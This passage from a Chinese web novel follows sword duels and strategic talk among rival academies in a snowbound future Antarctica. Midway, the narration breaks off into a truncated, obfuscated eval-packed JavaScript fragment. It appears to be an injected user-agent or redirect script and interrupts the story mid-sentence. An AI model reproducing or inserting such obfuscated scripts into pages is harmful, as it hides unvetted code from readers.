铃兰听不太清红莲的问话，有气无力的瘫软到红莲脚边，缓了缓气息后才说话。 “学会了极。” “极？” “嗯。” 太不可思议了，红莲想自己用了很久才习得极命剑，再看铃兰的状态，的确是施展极命剑后导致的精神衰弱。 “那别参加了，回宿舍睡觉吧，铃兰。” “不用，姐，我去去就回。” 铃兰爬起，拖着身体，走上台阶，翻围栏的时候不慎摔到在擂台里，她听裁判说了些什么，就坐起来，要了一支橡胶剑，握在手里，继续躺在地上，大口喘气，嘴里还嘟囔着什么。 观众和柱子上的竹桃都不知道发生了啥，一起等待了20分钟，竹桃终于耐不住性子，大声呵斥。 “你到底比不比？业凰没别人了吗！怎么上来个半死不活的家伙！” 看台一片反驳声，被裁判止住了，裁判走到铃兰身边蹲下，侧耳听她在说啥，听完开始向竹桃转达铃兰的话。 “她问你比不比，她说自己等的快睡着了。” “哈？” 竹桃生气了，她经常生气，这回是真气了，怒喊：“那你就躺着挨我一棍吧！” 她跳到空中并未直接攻击，有些手下留情，等力道卸掉大半才做了下刺动作，一双短剑扎在擂台地上，人呢？ 她单腿支撑地面，伸腿横扫的同时身直双臂用双剑转扫，人呢！ 竹桃大转了一圈，视线扫全擂台，还是不见对手，她猜铃兰不会是吓的掉下去了吧？迟疑太久，竹桃想起曼达说过绝不要呆站着就赶忙往前跨步，试探性的向后踢腿，接后摆剑，扭身的时候看到一缕金发！ 她急忙凌空翻转身体，双腿踢摆，双手撑地后再和双腿交替，整套动作流畅迅捷，很像街舞表演，竹桃这段反击完全是盲打，全靠身体出色的柔韧度兼顾了攻防切换。 竹桃感觉有只猴子爬到了自己背上，她拼命用手甲的后尖向背后挥摆，正面迎头下来一道剑击，她立刻用双剑架住，不想自己的头被什么东西蒙住了。 她奋力晃身且摇头，想把铃兰甩下来，可铃兰用腿紧紧锁住竹桃的上身。 “你下来！” “我不。” “看到内裤了！” “无所谓。” “这还怎么打啊！” “耗到你站不住。” “太不雅了！赶紧下来！” 二人因此拉开了距离，竹桃以剑挡在面前，一边缓缓挪步，一边观察铃兰。 铃兰恢复了一些精力，所有人都能看出她勉强用意志力驱动身体，僵硬的站着，双手握剑，似乎下一秒就能昏倒。 刚才的战况可把曼达急坏了，眼看敌人就在徒弟背后，动作一致到几乎是完美复制的，直到竹桃施展自己独创的四肢攻击技巧才使得铃兰跟不上动作。 红莲分析了竹桃的剑术，猜测她的原装武器应该是某种类似大号西瓜刀，兼顾了刺和划斩，短巧多变，正好适配她的格斗技巧，这是在小空间最有威力的剑术，果然是海军出身的军官。 看台和擂台都寂静无声，人们生怕遗漏了战斗细节，只有竹桃谨慎的挪步声在空间中回荡，她犯难了，因为原本近身战是她的得意技，没想到这个小矮子比她还擅长。 竹桃站直，换右手防御，她利用这次站直，测量了二人的身高差是20CM，再看铃兰的持剑方式，能断定铃兰的剑术以远程攻击为主，也就是说，利用身高优势，打中距离的近身战最有利。 她想明白这些，一点一点的挪近距离，突然前冲，中途止步，动作改为顺畅的挥砍和踢击，以眼花缭乱的街舞动作不间断攻击铃兰，而铃兰除了长发束和制服衣裙角被切掉不少，身体动作完全逼开了攻击，两个少女就在擂台里转圈跳舞。 竹桃有些累了，四肢交替攻击的能耗极大，中距离攻击太过谨慎，铃兰总在被打到之前躲开，于是竹桃决心施展陀螺斩，这是攻防一体的贴身攻击，力道强大足够克服盲打的缺点，她把铃兰逼到跳了一步就立即用蹲姿，旋转冲向铃兰。 铃兰空踩半步，弯腰想避开转成陀螺状的竹桃，没想到她还能拐弯下冲，这种绝境顷刻逼出了她的绝命剑，身体螺旋呈上升的姿态，顶散了竹桃的武技姿势，使竹桃一瞬解除了防御姿态，铃兰紧接着释放一命剑，打散了竹桃的手脚护甲和双剑，剑指竹桃的同时，二人落向地面。 铃兰在意识困到最后一刻松开了剑，橡胶剑掉在竹桃的脖子上，跌落到了竹桃怀里，整个过程太快，竹桃甚至不知道发生了什么，张着胳膊，呆呆的坐了半秒，看着怀中沉睡的少女。裁判更不知道该怎么判，上前问竹桃。 “她赢了。” 看台随着竹桃的话语开始欢呼，竹桃将铃兰抱下看台，交给业凰社员。 南极的将才 业凰科学院的四场比赛结束了，下次的四场比赛在南极内陆东部的第一运输局内举行，玛丽安这样安排赛程是为以后的群体赛做准备，人们有机会了解对手的地理环境，业凰参赛团队休整了三天后乘坐运输车，向雪原东北方行驶。 “写什么呢。” 车厢里，红莲看望江南在信息板（平板电脑）上书写着什么就问了，望江南把信息板递给红莲，屏幕里的日记写了一行字：我从未讨厌世界，因为它对我也一样。 望江南摘掉蓝色帽子，红莲帮她拿掉发卡，红色长发散落下来，她的头发较为绵软稀疏，这似乎是性情温和的女子共有的发质。望江南用手简单梳理头发，再次盘好，戴上帽子，转脸对红莲做个微笑，少女瘦弱的上身几乎无法承担她的理想，却始终乐观。 “红莲姐姐喜欢世界吗？” “嗯？你问人世还是自然呢？” “都想知道。” 二人望向窗外，暴雪纷飞，黑夜依旧。 “如果自然还活着，我会很喜欢它，但它早输了。人世赢了，却不像它那般勤勉，人太懒了，总想要个不犯错的管理者，自己就不用思考和行动，恶化至今，我讨厌人世呢。” “讨厌我们南极人吗？” 红莲被望江南的问题问笑了，闭目低头，黑色长发如瀑流下，遮蔽了清冷面容的锐气，显露了罕见的温柔气质。 “说不上来，古人的错积累太多，使你们干对的事也没用了，我想自己被错误压死也无所谓的，但大家若一起去挡历史的车轮，又太过残酷。” “那我们也无所谓残酷。” 望江南说完，看向车厢内的社员们，众人微笑。 另一辆运输车刹停，从车厢跳下一队人，是玉珊瑚带领几个身手好的社员考察第二运输局外的地形。起伏不平的雪原上立着一根巨型岩柱，目测直径约20000米，高264米。岩壁有竖条纹理且质地细密，蘑菇状的底部岩石有大型电梯入口，周围设有多层岗哨，岩柱整体看起来像一根石化的巨树干，形成原因不明，传闻是魔鬼用神力创造的奇观，故称魔鬼塔。 石柱南侧是首都所在的漫长山脉，两者距离不超一百公里，南极王在石柱内开凿电梯，将物资运上柱顶平地，建造了空中港口，为蜂鸟型无人运输机提供中转站，当然也有保卫首都的功能，恶毒女王失去了蜂鸟无人机的制造权，就将此地改建，成立第二运输局。 此地看似易守难攻，实则是一处牢笼，只要控制住电梯入口就能让柱顶的人们束手无策，玉珊瑚测绘了地图后，向石柱的东侧查看，还是雪原，她们完成任务，打道回府。 两辆运输车继续向东北方向行驶，这里的地形非常奇怪，雪原被突兀的断崖一分为二，上方的雪原是赛博空港前的高原，下方的雪原渐渐出现城市废墟。 周围的遗址显示地下城是分层建造的，车辆往下方开，甚至能看到残破路面，巨大的落差使得这里成为一处避风港，不久后显露一片密集铁轨，巨大的隧道入口附近安置了许多居住舱并设有岗哨。 车辆停止，红莲和众人下来，一位身披红色斗篷的女将军等在隧道边的站台上，斗篷凹凸有形，她的女性特征十分明显。 “你好，给红莲会长拿一件棉衣。” 红莲还未从地下城废墟的震撼中清醒，稀里糊涂的跟她握手时，还张望四周，能看到铁轨似乎延伸向南极各处，居住舱的前后左右都设有防御工事，阵地三个一组，三组呈立体排布，甚是精妙。 有人为红莲披上棉衣才她让一惊，反应过来，面前是位容貌华贵的美人，波浪红色长发美丽而富有生机，衬托的美人微笑尽是慈爱祥和。 “啊！对，你好，噢。” 发懵的红莲顺从的跟随她进入隧道，内部黑暗深邃，铁轨似乎久未用过了，两人走到墙壁下方的小门，一名红发社员向女将军敬礼并推门，红莲注意到门边的雪脚印是往隧道里走的，说明隧道里面有不想让她看到的内容。 她俩进门后是常见的维修用通道，在通道里绕了好大一会儿，来到一个空旷大厅，内设看台和擂台，红莲猜这里有很多这样的大厅。 二人在看台落座，夜兰坐到红莲右手边。 “贝莎副会长和天烛会计没来吗？” “噢？” 红莲才发现是左手边的女将军在问话，就匆忙回答。 “噢！她们留守业凰，处理其他事务，怎么称呼你呢？” “抱歉，我公事繁忙没去看在业凰的比赛，忘了说名字，我叫阳荷，是第一运输局的局长。” 她说完，之前输给夜兰的摩罗副官坐到阳荷右手边并挽着她的右手。 “这位是我的副官，摩罗，你应该见过了。” “嗯。” 红莲若有所思，想了半天，感觉不问明白就太难受了。 “南极为什么有地下城呢？” “哈哈，原来红莲会长一直在想这个吗？历史遗迹，2000多年前的最终战争，那时南极还叫南大陆，内陆全是高山，人们就在山体内部建造城市，我们所在的位置是当年山中城的最底层。” “那现在南极内陆为什么都是平原？” 阳荷笑了，摊手表示无奈后说：“原因不明的大爆炸摧毁了内陆，只留下了赛博空港的山脉，家园堡的家山，首都风花白夜宫的山脉，三城围成一个巨大山谷，就是现在的南极。” “噢。” 红莲发觉南极人似乎不深究历史，就想问问疑点。 “我看隧道外的铁轨好像通往南极各地？” “曾经是。我们发明了一种高过雪面的铁轨称为高轨，运行低速列车，冰雪女王离世后，灵能会切断了铁轨，所以废弃了。” 提起灵能会了，红莲敏感的振奋精神，想问问阳荷的想法。 “如果灵能会大军杀到，你打算怎么办。” “我觉得红莲身为业凰灵能科学院的会长，不该问这个呢。” “业凰全员做好迎战准备了。” 阳荷听完，挺胸仰头，深吸一口气后转脸说：“你知道灵能会为什么要攻打南极吗？” “我只知道灵能会计划杀死所有人类，所以天家主也很为难。至于动机，似乎是把人变成侍灵。” “变成侍灵干什么用呢？有什么证据吗？” “我看到了！” 红莲愤怒的大吼了一句，惊的全场观众望向她，而她极不情愿的回想起人类被垃圾车加工成侍灵的悲鸣。 “在北极内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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前文说过，南极内陆三城是Y字形分布，Y字右上角的赛博空港和最下角的首都的直线联系就是车站形式的第一运输局和高塔形式的第二运输局。另外，阳荷在第一运输局防御赛博空港方向的敌人，不难看出，玛丽安器重她，恶毒女王却讨厌她，就被正好安排在这个不亲且重要的位置。 阳荷和千鸟都是军人出身，气质干练，不说废话。三位局长聚在在一起，让红莲感觉恍惚回到了岸防连城时期的战斗状态。 看台下方是方形的四角擂台，望江南摘掉帽子并散开红发，单穿白衬衫和红色束腰裙，提前进场，跨步站好，双手持剑。她聪敏好学，赶在这场比赛开始前学会了一命剑。 对手一抽墨绿色大衣扔给同伴，黑色高跟靴稳步走向擂台，人们顺着靴跟看黑色一直向上延伸到她腰部，就是说她穿着一件连体裤，这种衣裤保暖效果极佳，在夜星比较常见。束腰绑带有两条背带挎在白衬衫肩上，全身装扮像特勤人员，每步都在展示自己的曼妙身材，显得妖媚，再看她白色长发上戴着一个兔耳发箍，给人的感觉俏皮古怪。 她登台就大幅空翻，跳到望江南面前。红发少女以前就觉得千里性情古灵精怪，现在看她眯眯眼，嘴角有迷之微笑，莫名其妙的兔耳朵，单手随意接过裁判递来的橡胶剑，全然没做任何战斗准备。 望江南眼前白发飘动，只觉得左脚一疼就立刻向下砍，双手持剑的下砍动作并不流畅，被千里单手用剑放在背后挡住。原来是千里低身大跨步，踩住了望江南的左脚，望江南用另一只脚去踢她，她踩着望江南，完成了转体，绕到望江南身后并从她腋下伸手持剑勒住望江南的脖子，望江南立剑架住，接着向背后盲刺，迫使千里松手，跳开。 这段战斗反映出千里诡异多变的战斗思路，望江南退到最远距离，活动一下左脚，这下踩击让她的双手剑技难以发力，她后悔最开始就以一命绝招蓄势待发，被千里用松弛状态骗了，应该在她拿到剑的瞬间就使出一命。 二人再次靠近，用剑简单试探了几个回合，千里突然单腿撑地，用出高抬腿横扫，望江南的剑还被她用剑别住，望江南松开一只手到身侧，立小臂去挡，这下踢击力道很大，加上望江南本来就瘦弱，整个人侧倒了下去，所幸她会一点翻滚起身，于是再次拉开距离。 少女拖着胳膊，左脚也不灵便，红色长发垂着，显得用些凄惨。 “还打吗？” 千里说完，缓慢收腿，单手用两指夹着橡胶剑，脸上还是眯眼笑盈盈的，像诡异的坏人。 望江南原本想拖到左脚恢复，没想到左臂又挨了一脚，疼痛没中断她的思维，她恍然明白自己大意了，千里是特种部队武官出身，还曾是千家主的继承人，受过贵族教育，战术和武力都在出身文官的自己之上。她盯着有些洋洋得意的名门大小姐，坚定的说：“打。” 红发少女从来不服出身，她热爱学习，每一点进步都是收获，包括现在的困难，而且她还有尚未施展的一命剑。 侦查兼特种部队的素质使千里很少轻敌，她蛇形前进的同时蓄力凌空跳跃，施展踢击，迫使望江南没法再考虑破绽，只剩用一命剑抵挡，而这也在千里的计划之中，她早就注意到了业凰社员的特殊剑术，推测望江南也会这招，所以踢腿只是佯攻，收腿后就双手横剑抵挡。 她太小瞧一命剑了，望江南的剑击擦着千里的横剑继续像她胸前直刺，她尽力弓背躲开，却被剑风吹破了下巴和发箍，若不是望江南受伤和准备时间不足，肯定能一击取胜。 千里的剑被打掉了，可她正好和望江南身贴身，于是顺势擒住，使望江南埋进自己怀里，红发少女来回扭动身体，发现没法动，认输了。 千里搀着望江南回到看台。 第二场是阳荷与千鸟对战，两位局长上场引起看台一阵欢呼，红莲检查完望江南的伤势，再看擂台上的千鸟，身高172CM，发色略灰，编了一根大辫子在背后，左耳侧编了两根小辫子做装饰，脸型娇美，大眼睛总是聚精会神，长鬓角沿到墨绿制服胸前，下身穿着同色短裤和吊带长靴，整体气质是温和且专注力很强的人 出身名门的贵族大小姐总有种与众不同的从容，千里和千鸟这对姐妹花就是这样，尽管她俩没有任何傲慢无礼，但气场独特，一身红色衣裙的阳荷也是如此，她从摩罗手中接过一支超长宽剑，双手持握，气势非凡。 千鸟则接过社员递来的木柄步枪，木材在这个时代极为罕见，所以是奢侈品，她抽出腰间的长刺刀，装在步枪前端，两人的意思是要用真剑比武！ 双方学院的看台并未惊叫，说明她俩以前就经常真刀真枪切磋，交战开始。 阳荷的剑技，力速兼备，大剑高速挥动的风声清晰回响，风力甚至吹佛看台前排的红莲的黑发微动，而千鸟的枪术稳扎稳打，枪枪有效，毫无破绽，二人就这样在场上打了二十分钟，不分胜负。 红莲分析出两人的战术特点，阳荷尽管使用宽刃长剑，意图却都是防守，剑的宽和长仅为防御更完美而设计，所以她自上场开始，脚就没挪过半步，如果对手不了解她，很可能在攻防一体的剑术攻击下落败。千鸟就是熟知阳荷不轻易迈步进攻，总用步□□击寻找破绽，又不能让自己步伐紊乱，战术中规中矩，毫无短板，敌人若是贸然进攻，千鸟留有的余力就会发挥作用，一举用出大幅反击。总结，她俩完全有实力击败大部分副官，只是因为太旗鼓相当，所以又打了半个小时。 砰！ 千鸟所持的步□□刀脱落了。 “哎，这下修不好了哎。” 阳荷弯腰帮她捡起来，后说：“你下次用个一体化的模型枪呗。” 千鸟接过刺刀，尝试插回步枪上，似乎不能用了。 “我喜欢这件古董呀，哎。这次就算我输了吧。” 二人把武器还给各自副官收好，观众们才惊觉刚才的战斗是真剑较量，证明了她俩武技和勇气都达到了实战级别，人们盯着她们离场，看她们回到看台，在红莲身边坐下攀谈。 “红莲对南极各势力的局势怎么看？” 夜兰出看台热身，千鸟坐到红莲右手边后问话，这个话题正是红莲感兴趣的类型。 “东西出海口被冰山堵塞，暂时不必设防。北海岸驻扎了百万机械人偶，还能获得北方人工岛侍灵部队的支援，也不必考虑了。业凰堵住雪牢关口，就能阻挡北海岸的攻势，问题在于东西二城对业凰呈夹击之势。西北侧的家园堡地势过高，还能收到北海岸的部队支援。东北侧的赛博空港城下有平原，比较容易攻占，二城至少占一城，就能守住业凰，进而守住南极。” 千鸟听完就与阳荷对视点头，阳荷轻咳了一声开始提问。 “战略层面的谋略与我们一致，这点是位智者就能得出。问题在于我们没有武器，灵能会和天家拥有完美的电子战，我们的导弹和激光武器都失效，仅能使用纯机械的火炮，攻击都打不破侍灵的灵能护盾啊。” 红莲看向擂台，感觉挺长时间没人上场了，她把手中的帽子戴回头上，黑发顺在黑色大檐帽下，清秀面容，威风凛凛。 “问题真的不在于武器。阳荷，千鸟，你们还不知道什么是灭世战争，敌人不会讲理，没有一丝情分，毫不犹豫的发起排山倒海的攻势。而勇气这种素质，不是用理智一想就有，我感觉。” 红莲的话说了一半，犹豫着，看台下方跑了一位红衣社员，大声说第二工业局的藤萝不来参赛了，弃权了。 头戴兔耳的千里蹦蹦跳跳的庆祝自己不战而胜，还向众人推荐戴兔耳，说幸运兔子之类的玩笑话。 阳荷紧了紧红色制服胸前的绶带，跨步离坐，手牵夜兰一起登场，二人一枪一剑摆好紫势。夜兰比她高40CM，增加了长枪的攻击距离，但擂台不大，所以她们一直没挪动，原地用橡胶武器打了十几回合，攻方总是要向前挪一点，夜兰就在不知不觉中被阳荷拉近了距离，夜兰反映过来就施展一命，意图阻击，没想到阳荷的下盘极稳，支撑住双手剑，硬接下来这关键的一击，夜兰短暂力虚，被阳荷识破，她跨步出击，一剑打掉了夜兰的长枪。 第一运输局的四场比赛全部结束，擂台下次设在第一工业局，看台散场的观众都说不敢去看了，红莲问阳荷和千鸟去不去，她们只是笑笑。 众人的态度似乎影射第一工业局是比首都还恐怖的地方。 21. 章21南极：知力量 你眼前尽是夜空，浓烈的黑暗盖住目之所及的所有方向，让你不能确定黑色之中是否真的空无一物，还是说这夜色是某种压迫万物的绝对力量。 大自然，只剩微不足道的雪片，还要以风暴为力，以雪花为剑，毫不停歇的涌入黑夜，尽管这白色沙暴预示刺骨严寒，却激励生灵们燃起勇气，踏破雪面，迎战煞白的辽阔雪原。 在西方苍茫雪域的边缘，雪地陡然升高，形成一座宏大山丘。红莲和铃兰用望远镜看到山丘顶端矗立着一座自发光的圆柱形巨塔就是家园堡，家山南侧坡度相对平缓，露出了伸入山体的部分巨塔，能看到塔底有银色人形物体在阵地内巡逻。 雪山坡上有南极人类构筑的大型居住舱和防御工事，再下方是多个严防死守的大型矿洞，洞外有数座小矿山，空地上分布着很多矿车。矿灯闪烁，冶金设备的巨大机械臂在昏黄的灯光下缓缓挥动，每一次轰鸣都震颤着山谷，空地西侧有一座大型石制建筑，门口守卫森严，近万名穿着棉衣的少女在寒风中进行体能训练，以上种种共同构成了南极的采矿基地，也被称为第一工业局。 然而，红莲在前往第一工业局之前，先要考察白雪大地前方横亘的陡峭山峰，山壁被常年累月的暴雪侵蚀到只剩坚硬的岩石，冰雪包覆这些岩石形成一面山墙，是南部山脉直插西部雪原的一段防御墙。 红莲将望远镜看向山峰的顶端，能晃见几个人影，负责监视和防守西部关口的哨塔就在那里。 铃兰招呼红莲上车，二人往西方的采矿基地进发，红莲敞开车门，探身观察，山墙后方有冰洞和滑雪道支撑，层层叠叠，地形格外复杂，一台巨大无比的履带式机械要塞向冰洞内移动着，山壁之上有数量不明的哨塔，共同组成第二工业局。 两处工业局之间是平坦雪原，一辆孤零零的运输车在雪面上行驶，红莲察觉该车方向和自的车一致，就关上车门。 “不好办啊。” 铃兰帮红莲拍掉她身上的积雪，好奇她只穿单薄的黑色校服却在大风中侦查很久，再听她说这话，就问：“姐姐是在考虑群体战的难度吗？” “是。那些刀锋状的山墙有人工浇筑的痕迹，高低错落的哨塔火力点覆盖了所有登山道，意味着攻方要冒着枪林弹雨去冲那些冰洞和滑雪道，内部情况复杂到难以想象，那台机械要塞还是可移动的，即便攻占要塞和各处哨塔，她们还能沿南部山脉撤回首都。” “不是说攻占要塞就算赢了吗？” 红莲听到铃兰的问题，笑着揉揉她的小脑袋，铃兰起初脸红的低头，后来摇头甩掉，一对金色双马尾左右扰动。 “我是感叹南极古人的智慧，第二工业局几乎是片不破的防御带，与第一工业局互成犄角之势，协防严密。南极的西部防区，从北向南以家园堡为第一道，第一工业局为第二道，第二工业局为第三道，彼此钳制。” 待在红莲身边的人，总能得到这样战略层面的思维启发，铃兰性情独立刚强，需要些宏观视角辅助成长。 之前追踪她们的运输车超车了，高速前往采矿区，红莲站起来，扒车窗观望那车，嘴里不禁嘟囔道：“应该是第二工业局的黑巴局长，她今天有一场比赛。” “您认识她？” “有过一面之缘。” “喔？” 红莲坐回长条座位，车厢摇晃，二人喝了一袋自动加热的袋装水，这种水袋装雪后自动过滤消毒，产生纯净的温水。 “北极岸防连城黑家主的备用继承人，黑巴，短期担任过第四城区将军，后凭黑家主的人脉，入籍博物馆都市，却独自返回连城，我初到连城的时候，巧遇她负气出走。” 红莲回忆着那天在高空热气球上俯视黑巴游走在防卫严密的物资区，展现了出众的体能素养。 “她拿了一些生活物资，驾驶一辆简易机械雪橇，单人横穿冰海，来到南极。” “横穿？冰海！” 铃兰惊呼后说：“南极只有风信子大人能独自来往于冰海面，她太鲁莽了，居然活下来了！简直是奇迹！” “那段经历显示出她非常偏执，即便毫无生还希望，也要离开北极，这份意志很罕见啊，还有指挥经验和出色武技，总之是位不好惹的人物。如果铃兰与她对战，切勿轻敌。” “那大概是不可能了。” “怎么说？” “她第一场对战的是野芹副官啊！” “那人很厉害吗？” “红莲姐姐你还不够了解南极，这里的人从未打算坐以待毙。” 武力是科技的阴暗面，夜星有三类技术，北极擅长灵能和电子机械技术，南极的机械技术失传，只剩血肉生物技术。出于维持民众健康的需要，首都孕育罐基地和业凰学院孜孜不倦的开发基因遗传学，正面成果就是先进治疗椅，负面成果就是白猫部队。 冰雪女王在世时期，谨慎的在首都开展生物型人造人的研究项目，意在创造抗衡侍灵的超级士兵，所以还在家园堡孕育罐基地同期训练超级士兵实验体。 当，时还仅用基因技术和辅助药物增强实验体，恶毒女王在位后，大幅提高实验体的训练强度，传言该实验体已获得超越人类百倍的身体能力，她的实验代号是野芹，剧毒之花。 谈及母女，即重要人物的备用继承人制度，是采集生母的基因，再从基因库中优选基因结合后的胚胎，这项操作用在处于孕育罐内的重要人物被确立为继承人后就启动，是为了保障，始终有继承人可用，所以二代，甚至三代人的年龄相差不大。 恶毒女王与她的继承人紫洋同龄，名义上是后者的母亲，兼有教育后者的义务。 三家内乱虽然结束，但三位家主的暴行和折磨，对银雪公主心理层面的污染根深蒂固，她将这份恶毒当成正义，憎恶世界和每个人，将自己更名为恶毒女王，还将毒心术与权谋一并灌输给她的继承人紫洋，从首都卫戍军团和千阳两家军团中精选素质优秀的忠诚军士，调拨给紫洋建立第一工业局。 紫洋还有超级士兵实验体野芹副官，真可谓是重兵在握。 不过，第一工业局紧邻侍灵部队占据的家园堡，是最前线，这也反映出恶毒女王可能记恨冰雪女王没把她保护好，饱受折磨，所以她也要让自己的女儿也尝尝危险的味道， 铃兰将第一工业局的背景介绍给红莲，运输车驶入采矿基地，两人下车即收到站队严整的黑衣社员敬礼，红莲发现她们腰间都别着军刀，其他学院无此装备，就诧异的回了一个岸防连城使用的手礼。 暴风席卷着矿堆和钢铁设备，每五千人一队，四队人员在此等恶劣环境中操练，少女们喊声齐整，少有的掉队者会被教官集中在一起进行更严苛的运动。 矿山隧道口深陷寒冰，看起来像多个冰洞，这说明矿洞历史悠久，不时有小队护送着矿车和崭新的运输车驶出，装载钢锭的矿车会驶入矿洞，红莲推测洞内有很多大型工业设备。 矿洞上方的东西山坡上还有四队社员在练习登山作战，高空的狂风更加凶狠，常有人员滚落下来。 种种迹象反映出此地氛围充斥力量，红莲皱眉后带着铃兰沿人墙构成走廊前进。 她们身边的社员穿黑色棉布大衣，动作一致，大风汹涌却丝毫不颤，约有一千人在此组建人墙，墙后有教官巡视监督，红莲边走边望，前方是家山脚的坐西朝东的大型石制建筑，大量教官来往于百级台阶，进出上方石柱支撑的大厅，古典的建筑风格证明此厅也是历史遗物，可能是古人调运矿石用的指挥所。 红莲迈上石阶的时候，转身回看，见大部分在户外操练的人员都撤回矿洞了，她再抬头向上走，眼见台阶上的黑衣社员都赫然站立，气氛肃杀，全是敌意。 这种场面对红莲来说不足为虑，她和铃兰路过两排石柱，进入漆黑的大厅。 嘭！ 铃兰扭头看身后的石门重重关闭，红莲感知到大厅内有30人，角落中有一人的杀气极为凶悍，大厅的三排顶灯依次亮起，灰砖地面上铺红毯，左右墙边站着些观众，正对她们的尽头有三面红门，门前摆了四把金质单人沙发，黑巴在左，居中坐的金发女子正是紫洋，红莲步伐稳健的走到右侧沙发坐下，铃兰看这两位会长身后站着副官，就也站到红莲身后。 红莲不知道紫洋这一番折腾是在演什么，就说：“那开始吧。” “别急呐，红莲会长，我的学院场地少，只能用前厅将就了，你别介意呀。” “你是摆出一番气势，杀我威风罢了。” “噗！” 黑巴听完红莲的话，忍不住笑出声后说：“我就说这种把戏没用。” “你！” 黑巴不管紫洋生气，走到红莲右手边的沙发坐下。 “我听说你是最近才来南极，能跟我说说北极的情况吗？” 红莲很乐意观察黑巴的样貌，精致的斜边黑色短发，含情脉脉的眉眼，弧线漂亮的尖脸，白皙靓丽兼具几分英气，让人无法移开目光。黑色的双排扣紧身衣勾勒出健美的身形，外罩黑色披风，金色扣子和边缘装饰在黑色中闪烁，有着美艳和中性结合的美感。 “我走的时候，情况不算乐观。灵能会在博物馆都市和岸防连城之间建造了侍灵载具工业带，我帮贝比调任了工业带新军将军，协调天家主和黑家主的联系。一些情报显示，灵能会向冰海中心的人工岛持续增兵，对岸防连城形成南北夹击。我估计黑家撑不住的时候，会向南极撤退。” “好吧。” 黑巴说完这句，便不再理人了，红莲猜她性格就是这样直接，想到什么说什么，现在正为黑家担忧，就突然冷落旁人，显得孤僻冷漠。于是红莲看向她身后的绿发女子，是那位藤萝副官，一身白袍，神态平和，一副学者气度。 红莲想到副官，就想起铃兰说过黑巴对战是什么超人副官，就扭头看向紫洋身后，此人穿着黑色的长袖制服和长裤，大腿和前胸的脂肪弧线不像是饱受锻炼的体魄，再看她白色短发翘边，有一对细辫子长至腰间，面容清秀，最特别之处是她戴了一副圆框眼镜，这个时代没人患有视力缺陷，很是奇怪。 她也看红莲，有那么一瞬，红莲感觉她似乎透过镜片看清自己的内心，而红莲也看清了她眼中有难以捉摸的自信和战意，对方移开了视线，气场衰弱下来，似乎有意隐藏自己。 “你看什么呢？” 紫洋注意到红莲的视线，就扭身向后看，那女子扭头看向空地，避开了紫洋的凝视。 “噢，我听说黑巴会长要跟野芹副官对战。” “她才不是野芹！” 紫洋说着，离坐，走到大厅中央，转身喊道：“过来呀！” 那名戴眼镜的女子对红莲和黑巴点头行礼后，走向紫洋，墙边的社员递给紫洋一把橡胶剑，给眼镜女子一把橡胶长枪。 红莲借此空闲，向藤萝问道：“那戴眼镜的女生是谁，资料中无此人啊。” “答红莲会长，她叫荷。” “荷？” “嗯，据说是散落在野外居住舱幸存的流民。紫洋会长不介意这样来历不明的人加入，她在参谋部的战术推演中取得了第一名的成绩，还单人挑战全体参谋。” “参谋部？” “嗯我们身后的三道门依次是后勤部，指挥部，参谋部。” “她赢了吗？” “完胜。却因此得罪了所有参谋。” 红莲听完，看看大厅场地内，互相试探攻击的两人。 “紫洋好像也不太喜欢她。” “红莲会长卓见，聪明人之间沟通需要大度的器量，尤其是比自己聪明的人更难包容。” “既用又防的关系吗，好累啊。” 要强是所有强者的共同特征，然而普通人只追求片面的争强好胜，忽视了对世界的观察和解构，强者在成长过程中，自然获得独特的视角和心得，支撑他们在某一领域有远超常人的能力，这些强者引领的方向构建了人世的形状。 我们看任何时代的人世，总有这种无可挑剔的绝对强者，人们的愿望将她捧上高起点，所有能力信手拈来，毫无短板，能随心所欲的谋划有效行动和调动资源，说的就是紫洋。 金色长发在脑后盘住，再别一个紫色蝴蝶结，观感高贵纯洁。正脸两旁留着龙须鬓发，显露知性和贤淑。明眸长睫，一脸纯真笑容，好像下一秒就要倾诉告白之语，这便是公主级教育培养的清澈气质。短款风衣式的黑色制服搭配长筒靴，身段不必细说，应有尽有，曲线曼妙兼顾少女的青春体态，是日积月累的高强度自律的成果，剑术是她学过的精英课程之一，于是随意乱戳，就有几代剑术大师的穷尽毕生所学领悟的攻防要领。 紫洋的剑术不算犀利。 然而，荷主动的陷入了被动防御，这听起来很怪，实际情况就是这样，荷横枪格挡，紫洋每每出剑都被荷预判防住，这种冷静观察并预判敌人动作的心境很像真我剑术的静界，只是荷不会施展一命剑。 两人实力不分伯仲，斗了半个小时，紫洋有些急了，缓缓挪步，背对红莲和黑巴，佯攻了几剑后，荷退后一步，对峙了数秒。紫洋突然不顾一切的大跨步进攻，荷刚想反击就收手了，被紫洋追击到正门附近才弃枪忍输，开门出去了。 黑巴等紫洋坐回金椅，就嘲讽道：“太难看了，哪有这样欺负人的？” “你说什么？我听不懂。少说我，管好你自己！该你上场了。” 黑巴一刻进入战斗状态，推座，向前一跃，长靴触地，位于场中，接过橡胶长剑，双手顺剑，摆好架势。 角落走出一人，她四溢的杀气惊的红莲也扭头观望，只见她走到紫洋身边，侧耳听着什么嘱咐，黑巴持枪的位置有些特别，红莲猜黑巴的惯用武器是长柄大剑。 野芹满脸坏笑，点头听完紫洋的私语，单手扬天，接住别人抛来的标准橡胶剑，走到黑巴身前五步远，也直立不动，二人谨慎挪步，侧对红莲和紫洋。 白色方巾和短袖衬衫像水兵打扮，一个黑色发箍把纯白短发绷散，标准美人样貌，眉眼是小瞧对手的感觉，再搭配让人不寒而栗的笑容，给人的印象是既嘲弄又恐怖。下身穿着黑色高腰短裙和连体靴，值得注意的是她腿部肌肉异常精健，再看她胳膊和胸背的肌肉线条也非常人能及，更惊人的是她呼吸频率与身体运动同频，似乎时刻保持着高昂的战斗心智。 野芹的第一击就触发顶尖高手对决才有的全场凝息，一阵强风吹动每人发丝，踏步声落，普通人甚至没看清野芹的动作，就见她单腿半蹲在黑巴身前，左手剑被黑巴双手立枪当住，剑和枪都被野芹这一个跨步释放的势能掰弯成月牙形，所幸黑巴武技出众，在千钧一发之际，挪步到侧面躲开了剑击。 但是黑巴手中的长枪被压力束缚住了，如果稍有松懈，长枪就会脱手，所以没法做其他动作，野芹就是用绝对力量压制一切技巧。 